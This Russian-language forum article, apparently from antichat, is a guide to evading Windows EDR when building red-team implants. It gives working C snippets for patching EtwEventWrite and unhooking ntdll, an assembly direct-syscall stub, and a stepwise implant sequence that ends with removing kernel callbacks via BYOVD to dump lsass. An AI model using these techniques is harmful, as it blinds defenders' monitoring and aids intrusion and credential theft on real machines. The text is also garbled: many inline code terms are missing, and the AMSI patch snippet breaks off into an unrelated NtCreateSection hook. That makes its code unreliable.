https://forum.antichat.xyz/attachmen...9fa282e6fb.png
За последние два года детект со стороны EDR изменился радикально. То, что работало в 2022-м против Defender, сейчас ловится на стадии загрузки даже бесплатными решениями. Но ядро проблемы осталось тем же: offensive-разработчику нужно понимать не отдельные трюки, а всю цепочку детекта - от архитектуры имплантов до финального обхода EDR (полное руководство по разработке red team инструментов я собрал
здесь) - от AMSI-сканирования скриптов до kernel callbacks, которые фиксируют создание процесса ещё до того, как ваш имплант получит первую инструкцию.
Здесь я разберу четыре уровня защиты Windows и покажу конкретные техники обхода, которые работают на момент написания - с кодом, объяснением, почему именно эти байты патчатся, и честным указанием, где каждый подход ломается под серьёзным EDR.
Когда обход AMSI действительно необходим
Скажу прямо: если вы пишете шелл-код лоадер на C/C++ и выполняете позиционно-независимый код через callback-функции или APC - AMSI вам не нужен. AMSI сканирует управляемый код и скриптовые языки: PowerShell, VBScript, JavaScript, VBA-макросы и .NET-сборки, загружаемые через
. Fabian Mosch из r-tec в своём анализе пишет то же самое: добавление AMSI-байпасса в шелл-код лоадер лишь увеличивает количество индикаторов компрометации и шансы спалиться.
Обход AMSI нужен, когда вы:
- Загружаете .NET-сборку в память через
из C2-фреймворка
- Выполняете PowerShell-скрипты через
или
- Работаете с VBA-макросами в Office-документах
- Используете
,
или
для загрузки скриптов
Загрузка .NET-сборок и обфускация скриптов мапятся на технику Obfuscated Files or Information (T1027, Defense Evasion) по классификации MITRE ATT&CK, использование
- на Mshta (T1218.005, Defense Evasion) и Ingress Tool Transfer (T1105, Command and Control), использование
и
- на Command and Scripting Interpreter (T1059, Execution), а сам обход защитных механизмов - на Disable or Modify Tools (T1562.001, Defense Evasion).
Обход AMSI в PowerShell и .NET: что работает в 2026
Патчинг AmsiScanBuffer - жив или мёртв
Классический патч
- запись
(ret) или последовательности, возвращающей
- по-прежнему работает. Но дьявол в деталях. Проблема не в самом патче, а в том, как вы до него добираетесь.
В 2025 году EDR уровня CrowdStrike и SentinelOne ставят userland hooks на
и
. Любая попытка поменять права доступа к страницам памяти
или записать данные в её адресное пространство через стандартные API немедленно генерирует телеметрию. Вот что происходит при классическом подходе:
C:
Код:
// Классический патч AmsiScanBuffer - ЛОВИТСЯ большинством EDR в 2025
void
*
amsiAddr
=
GetProcAddress
(
GetModuleHandleA
(
"amsi.dll"
)
,
"AmsiScanBuffer"
)
;
DWORD oldProtect
;
VirtualProtect
(
amsiAddr
,
6
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
//
Name
;
// IsBlockedDll принимает PUNICODE_STRING и проверяет имя DLL (по хэшу или подстроке)
// Проверка по хэшу пути, а не по строке - устойчивее к детекту
if
(
IsBlockedDll
(
filePath
)
)
{
return
STATUS_OBJECT_NAME_NOT_FOUND
;
// 0xC0000034 - загрузчик считает, что DLL не найдена
}
}
// Для всех остальных DLL - вызов оригинальной функции
return
OriginalNtCreateSection
(
SectionHandle
,
DesiredAccess
,
ObjAttr
,
MaxSize
,
PageAttrs
,
SectionAttrs
,
FileHandle
)
;
}
Тут есть нюанс, на котором многие горели: нельзя возвращать
(
Код:
STATUS_INVALID_IMAGE_HASH
) - это приведёт к вызову
Код:
LdrAppxHandleIntegrityFailure
, который убьёт процесс.
Код:
STATUS_INVALID_IMAGE_FORMAT
(
) тоже мимо - загрузчик может показать диалог ошибки или записать событие в Event Log, а это уже IoC. Лучший вариант -
Код:
STATUS_OBJECT_NAME_NOT_FOUND
(
): загрузчик просто решает, что DLL не найдена, и идёт дальше без побочных эффектов.
ETW patching techniques: ослепление телеметрии
ETW (Event Tracing for Windows) - главный канал телеметрии для EDR. Через него летят данные о выделении памяти, манипуляциях с потоками, APC-вызовах и куче всего остального. Подавление ETW маппится на технику Disable Windows Event Logging (T1562.002, Defense Evasion).
Патчинг EtwEventWrite в ntdll
Классика - патч
в
, чтобы функция возвращала 0 без реальной отправки событий:
C:
Код:
// Патч EtwEventWrite - концептуальный пример
void
*
etwAddr
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll.dll"
)
,
"EtwEventWrite"
)
;
DWORD oldProtect
;
VirtualProtect
(
etwAddr
,
1
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
*
(
BYTE
*
)
etwAddr
=
0xC3
;
// ret - функция ничего не делает
VirtualProtect
(
etwAddr
,
1
,
oldProtect
,
&
oldProtect
)
;
Один байт - и userland-ETW ослеп. Но в 2026-м у подхода серьёзные ограничения. Как описывает fluxsec в анализе ETW-детекции в ядре, Remcos RAT использовал именно эту технику - и был пойман EDR, работающим на уровне ядра, через периодическое сканирование целостности памяти
. То есть EDR тупо сравнивает in-memory версию ntdll с тем, что лежит на диске, и видит ваш
.
ETW Kernel Dispatch Table
По данным того же исследования fluxsec, более продвинутые атаки целятся в ETW Kernel Dispatch Table - внутреннюю структуру ядра, через которую маршрутизируются ETW-события. Руткит Lazarus (FudModule) использовал DKOM (Direct Kernel Object Manipulation) для модификации этих структур. Конкретно:
- Обнуление
-флага ETW GUID Entry для конкретных провайдеров
- Модификация масок
, контролирующих, какие события логируются
- Отключение глобальных системных логгеров
Каждая из этих техник работает на уровне ядра и требует загруженного драйвера или эксплойта admin-to-kernel. Для
red team-операций это обычно BYOVD (Bring Your Own Vulnerable Driver).
Что реально детектится в 2026
EDR с компонентом в ядре ловит userland-патчинг
через:
- Периодическое сравнение in-memory кода ntdll с образом на диске
- Kernel callbacks на изменение защиты памяти
- ETW Threat Intelligence провайдер, который живёт в ядре и на userland-патчи ему плевать
Kernel-level DKOM - задача посложнее. По данным fluxsec, периодическая проверка целостности kernel-структур EDR позволяет обнаружить изменения, но есть окно между модификацией и проверкой. Если атакующий успевает восстановить состояние до следующей проверки (аналогично обходу Kernel Patch Protection), обнаружение становится вопросом вероятности и удачи.
Userland hooks bypass: unhooking и прямые системные вызовы
EDR ставят хуки в
, перехватывая
Код:
NtAllocateVirtualMemory
,
Код:
NtWriteVirtualMemory
,
и десятки других функций. Это покрывает технику Process Injection (T1055, Defense Evasion / Privilege Escalation) - любая инъекция в чужой процесс проходит через эти API. Обход реализуется через Native API (T1106, Execution).
Unhooking через чтение ntdll с диска
Классический подход: загружаем чистую копию
с диска и перезаписываем .text-секцию текущей (захукленной) копии:
C:
Код:
// Unhooking ntdll - чтение чистой копии с диска
HANDLE hFile
=
CreateFileA
(
"C:\\Windows\\System32\\ntdll.dll"
,
GENERIC_READ
,
FILE_SHARE_READ
,
NULL
,
OPEN_EXISTING
,
0
,
NULL
)
;
HANDLE hMapping
=
CreateFileMapping
(
hFile
,
NULL
,
PAGE_READONLY
,
0
,
0
,
NULL
)
;
LPVOID cleanNtdll
=
MapViewOfFile
(
hMapping
,
FILE_MAP_READ
,
0
,
0
,
0
)
;
// Находим .text секцию в чистой копии
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
cleanNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
BYTE
*
)
cleanNtdll
+
dosHeader
->
e_lfanew
)
;
PIMAGE_SECTION_HEADER section
=
IMAGE_FIRST_SECTION
(
ntHeaders
)
;
for
(
int
i
=
0
;
i
FileHeader
.
NumberOfSections
;
i
++
)
{
if
(
!
strcmp
(
(
char
*
)
section
[
i
]
.
Name
,
".text"
)
)
{
LPVOID hookedText
=
(
LPVOID
)
(
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
+
section
[
i
]
.
VirtualAddress
)
;
DWORD oldProtect
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
memcpy
(
hookedText
,
(
BYTE
*
)
cleanNtdll
+
section
[
i
]
.
PointerToRawData
,
section
[
i
]
.
Misc
.
VirtualSize
)
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
oldProtect
,
&
oldProtect
)
;
break
;
}
}
Проблема: само чтение ntdll с диска и вызов
на .text-секцию - детектируемые паттерны. CrowdStrike Falcon ловит это через мини-фильтр файловой системы и kernel callback на изменение защиты памяти. Лично я на одном проекте видел, как Falcon генерировал алерт ещё до завершения
.
Direct syscalls: SysWhispers и его эволюция
Прямые системные вызовы обходят userland hooks, потому что не проходят через захукленные функции в ntdll. Вместо вызова
Код:
NtAllocateVirtualMemory
в ntdll, вы вручную помещаете номер syscall в EAX и выполняете
:
Код:
Код:
; Прямой syscall NtAllocateVirtualMemory (пример для демонстрации концепции)
; SSN (System Service Number) меняется между версиями Windows
mov r10, rcx
mov eax, 0x18 ; SSN 0x18 - NtAllocateVirtualMemory на Windows 10 20H2+ и Windows 11
; (проверяйте для конкретного билда). SSN менялись между major-версиями
; и могут отличаться на insider-билдах.
; В production-коде ВСЕГДА резолвите SSN динамически
; (SysWhispers3, HellsGate, Halo's Gate)
syscall
ret
Проблема прямых syscalls в 2026 году: ETW Threat Intelligence провайдер работает в ядре. Он видит сам факт вызова
Код:
NtAllocateVirtualMemory
с флагами
Код:
PAGE_EXECUTE_READWRITE
- независимо от того, прошёл вызов через ntdll или напрямую. Плюс EDR проверяют, откуда пришёл syscall: если адрес возврата не внутри ntdll - это аномалия, и вас уже разглядывают.
Indirect syscalls
Эволюция direct syscalls - indirect syscalls. Вместо выполнения инструкции
из своего кода, вы прыгаете на
гаджет внутри легитимной ntdll. Адрес возврата выглядит «правильно»:
C:
Код:
// Indirect syscall - концептуальная схема
// 1. Находим адрес инструкции 'syscall' внутри ntdll
// (сканируем .text секцию на байты 0x0F 0x05 0xC3)
BYTE
*
ntdllBase
=
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
;
// ... поиск паттерна 0x0F, 0x05, 0xC3 в .text секции ...
// 2. Помещаем правильный SSN в EAX
// 3. Прыгаем на найденный адрес syscall в ntdll
// Результат: стек вызовов выглядит легитимно для EDR
Это усложняет детект по call stack, но kernel-level мониторинг никуда не девается.
Kernel callbacks: что видит EDR до вашего первого байта
Kernel callbacks - финальный рубеж, и обойти его из userland без эксплойта или загрузки своего драйвера невозможно. Точка. Ключевые callbacks:
CallbackЧто отслеживаетКак используют EDRPsSetCreateProcessNotifyRoutineСоздание и завершение процессовДетект подозрительных parent-child цепочекPsSetCreateThreadNotifyRoutineСоз дание потоковДетект remote thread injectionPsSetLoadImageNotifyRoutineЗагрузк а образов (DLL/EXE)Детект reflective DLL injectionObRegisterCallbacksОперации с хэндламиЗащита процесса EDR от открытияCmRegisterCallbackОперации с реестромДетект persistence-механизмов
Техника Reflective Code Loading (T1620, Defense Evasion) специально нацелена на обход
Код:
PsSetLoadImageNotifyRoutine
- загрузка DLL без вызова
не генерирует уведомления от этого callback.
Что реально можно сделать из userland
Без драйвера убрать kernel callback нельзя. Но можно минимизировать генерируемую телеметрию:
- Использовать thread pool (
/
) вместо
для выполнения кода - обходит часть эвристик на создание потоков
- Выполнять шелл-код через callback-функции легитимных API (
,
и аналоги) - адрес возврата в стеке выглядит легитимнее
- Избегать
Код:
PAGE_EXECUTE_READWRITE
при выделении памяти - выделять как
, записывать, менять на
Третий пункт кажется банальным, но я до сих пор вижу публичные лоадеры, которые аллоцируют RWX одним вызовом. В 2026 году это примерно как кричать «я здесь!» в тихой комнате.
Kernel-level evasion: BYOVD и DKOM
Для red team-операций, где в целевой среде стоит EDR уровня CrowdStrike или SentinelOne, единственный надёжный способ разобраться с kernel callbacks - загрузка собственного драйвера через BYOVD. После получения выполнения в ядре можно:
- Снять callbacks EDR через модификацию массива
Код:
PspCreateProcessNotifyRoutine
- каждый элемент содержит
указатель на
Код:
EX_CALLBACK_ROUTINE_BLOCK
; для доступа к callback нужно замаскировать младшие 4 бита (ref count) и получить адрес структуры. Для нейтрализации можно заменить поле
на указатель на пустую функцию (ret-stub) - простое обнуление создаёт race condition. Более надёжный вариант - полное удаление записи из массива с обновлением
Код:
PspCreateProcessNotifyRoutineCount
. Оба варианта требуют тщательного тестирования: некорректная модификация - и привет, BSOD
- Закрыть хэндлы EDR к защищённым процессам
- Модифицировать ETW-структуры в ядре (описано выше)
По данным исследования Lazarus FudModule (описанного fluxsec), руткит использовал admin-to-kernel zero-day для получения kernel execution и последующей DKOM-манипуляции ETW-структур. Лазарусы, конечно, ребята серьёзные - но сам подход вполне воспроизводим через BYOVD.
Собираем всё вместе: порядок операций для импланта
Практическая последовательность действий, которая минимизирует детект на каждом этапе:
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Шаг 1. Лоадер без AMSI-байпасса выполняет шелл-код. Шелл-код позиционно-независимый, AMSI его не видит.
Шаг 2. Из шелл-кода - indirect syscall для
Код:
NtAllocateVirtualMemory
с
(не RWX!). Записываем полезную нагрузку.
Шаг 3. Меняем защиту на
через indirect syscall
Код:
NtProtectVirtualMemory
.
Шаг 4. Если нужно выполнить .NET-сборку или PowerShell - только тогда применяем AMSI-байпасс через hardware breakpoints с
(без генерации ETW TI событий).
Шаг 5. Подавляем ETW в userland через патчинг
- но понимаем, что kernel-level ETW TI это не затронет.
Шаг 6. Для операций, требующих отсутствия kernel-телеметрии (дамп lsass, например), используем BYOVD для снятия kernel callbacks - если это входит в скоуп операции.
Ключевой принцип: каждый байпасс - это дополнительный IoC. Не применяйте обход, если он не нужен для конкретного этапа. Шелл-код лоадер не нуждается в AMSI-байпассе. BOF-модули не нуждаются в отдельном unhooking ntdll, если BOF реализует indirect syscalls через встроенные syscall stubs (InlineWhispers, SysWhispers3 BOF). Стандартные BOF, использующие
Код:
BeaconGetProcAddress
для резолва Nt-функций, проходят через захукленную ntdll - и вот тут уже нужно думать.
Что реально работает против конкретных EDR
Я намеренно не даю матрицу «техника X работает против продукта Y» - она устареет через месяц после публикации. Вместо этого - методология проверки:
- Разверните целевой EDR в лабе с полной телеметрией (не в режиме «только алерты»)
- Выполняйте каждую технику изолированно, анализируя, какие события генерируются
- Используйте Process Hacker и x64dbg для инспекции хуков: загрузите ntdll из процесса и сравните пролог каждой Nt-функции с оригиналом на диске
- Проверьте, использует ли EDR kernel minifilter - через
- Проверьте kernel callbacks через WinDbg:
,
Код:
dx @$cursession.Processes.Where(p => p.Name == "targetEDR.exe")
Детект эволюционирует постоянно. По наблюдениям fluxsec, даже периодическая проверка целостности kernel-структур может быть обойдена при достаточно быстром восстановлении состояния. Это гонка вооружений, и единственный надёжный подход - тестировать конкретную технику против конкретной версии конкретного EDR. На заборе написано «universal bypass» - но вы-то знаете, что на заборе много чего написано.
Заключение
Обход AMSI, ETW, userland hooks и kernel callbacks - не набор разрозненных трюков, а связанная система, где каждый уровень дополняет предыдущий. В 2026 году ни одна отдельная техника не гарантирует обход EDR корпоративного класса. Патч
бесполезен, если вы не разобрались с userland hooks на
. Unhooking ntdll бессмысленен, если kernel ETW TI логирует ваши syscalls. Direct syscalls не спасут, если EDR проверяет call stack.
Разверните лабу с целевым EDR и прогоните каждую технику из этой статьи изолированно - посмотрите, что генерирует телеметрию, а что проходит тихо. Именно понимание всей вертикали (от PowerShell-скриптов до kernel callbacks и ETW dispatch tables) отличает рабочий имплант от очередного PoC, который ловится на первой стадии.